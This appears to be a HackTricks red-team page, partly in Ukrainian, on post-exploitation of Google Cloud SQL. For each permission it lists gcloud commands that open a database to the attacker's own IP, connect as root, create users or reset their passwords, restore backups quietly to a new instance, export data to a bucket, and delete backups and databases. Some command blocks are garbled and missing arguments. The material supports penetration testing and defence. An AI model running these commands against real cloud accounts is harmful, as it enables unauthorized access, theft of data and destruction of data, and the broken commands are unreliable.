GCP - Cloud SQL Post Exploitation

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Cloud SQL

Для отримання додаткової інформації про Cloud SQL див.:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Щоб підключитися до баз даних, вам just need access to the database port і потрібно знати username та password — немає жодних вимог щодо IAM. Отже, простий спосіб отримати доступ, якщо база має публічну IP-адресу, — оновити allowed networks і allow your own IP address to access it.

Додати свій IP і підключитися до бази даних ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quiet

mysql -h <ip_db> # If mysql

With cloudsql.instances.get you can use gcloud directly

gcloud sql connect mysql –user=root –quiet

</details>

Також можливо використовувати **`--no-backup`** щоб **порушити резервні копії** бази даних.

Оскільки це вимоги, я не зовсім впевнений, для чого потрібні дозволи **`cloudsql.instances.connect`** та **`cloudsql.instances.login`**. Якщо ви знаєте — надішліть PR!

### `cloudsql.users.list`

Отримати **список усіх користувачів** бази даних:

<details>

<summary>Перелік користувачів бази даних</summary>
```bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

Цей дозвіл дозволяє створити нового користувача у базі даних:

Створити користувача бази даних ```bash gcloud sql users create --instance --password ```

cloudsql.users.update

Цей дозвіл дозволяє оновлювати користувача в базі даних. Наприклад, ви можете змінити його пароль:

Змінити пароль користувача ```bash gcloud sql users set-password --instance --password ```

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Резервні копії можуть містити стару конфіденційну інформацію, тому їх варто перевірити.
Відновити резервну копію всередині бази даних:

Відновити резервну копію бази даних ```bash gcloud sql backups restore --restore-instance ```

Щоб зробити це більш непомітно, рекомендується створити новий SQL instance і відновити дані там, замість у поточних запущених базах даних.

cloudsql.backupRuns.delete

Цей дозвіл дозволяє видаляти резервні копії:

Видалити резервну копію ```bash gcloud sql backups delete --instance ```

cloudsql.instances.export, storage.objects.create

Експортувати базу даних у Cloud Storage Bucket, щоб ви могли отримати до неї доступ звідти:

Експорт бази даних у bucket ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ```

cloudsql.instances.import, storage.objects.get

Імпорт бази даних (перезаписати) з Cloud Storage Bucket:

Імпорт бази даних з Cloud Storage Bucket ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ```

cloudsql.databases.delete

Видалити базу даних з екземпляра БД:

Видалити базу даних ```bash gcloud sql databases delete --instance ```

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks